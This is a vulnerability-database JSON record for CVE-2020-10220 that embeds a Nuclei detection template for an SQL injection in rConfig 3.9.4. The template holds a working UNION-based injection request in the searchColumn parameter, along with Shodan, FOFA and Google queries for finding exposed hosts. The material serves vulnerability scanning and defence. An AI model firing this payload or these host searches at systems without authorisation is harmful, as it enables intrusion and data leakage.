{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-10220/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-10220/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-10220/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-10220/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-10220/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-10220"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-10220"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-10220.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-10220\n\ninfo:\n  name: rConfig 3.9 - SQL Injection\n  author: ritikchaddha,theamanrawat\n  severity: critical\n  description: |\n    An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.\n  remediation: |\n    Upgrade to a patched version of rConfig or apply the vendor-supplied patch to mitigate this vulnerability.\n  reference:\n    - http://packetstormsecurity.com/files/156950/rConfig-3.9.4-searchField-Remote-Code-Execution.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-10220\n    - http://packetstormsecurity.com/files/156688/rConfig-3.9-SQL-Injection.html\n    - http://packetstormsecurity.com/files/156766/Rconfig-3.x-Chained-Remote-Code-Execution.html\n    - https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-10220\n    cwe-id: CWE-89\n    epss-score: 0.99697\n    epss-percentile: 0.99952\n    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: rconfig\n    product: rconfig\n    shodan-query:\n      - title:\"rConfig\"\n      - http.title:\"rconfig\"\n    fofa-query: title=\"rconfig\"\n    google-query: intitle:\"rconfig\"\n  tags: cve,cve2020,packetstorm,rconfig,sqli,vuln,vkev\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('{{num}}'),0x5B50574E5D3C42523E)%20limit%200,1),NULL--\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022048909eaceeacb7321264c80af8cca1b06b335ccf62d3aad5f49158e02c0ef870022100a636585d1b45860376539b0a8fc60fc29afdf65a1ac8e3369cfe13c6ca5feaa2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-10220"
}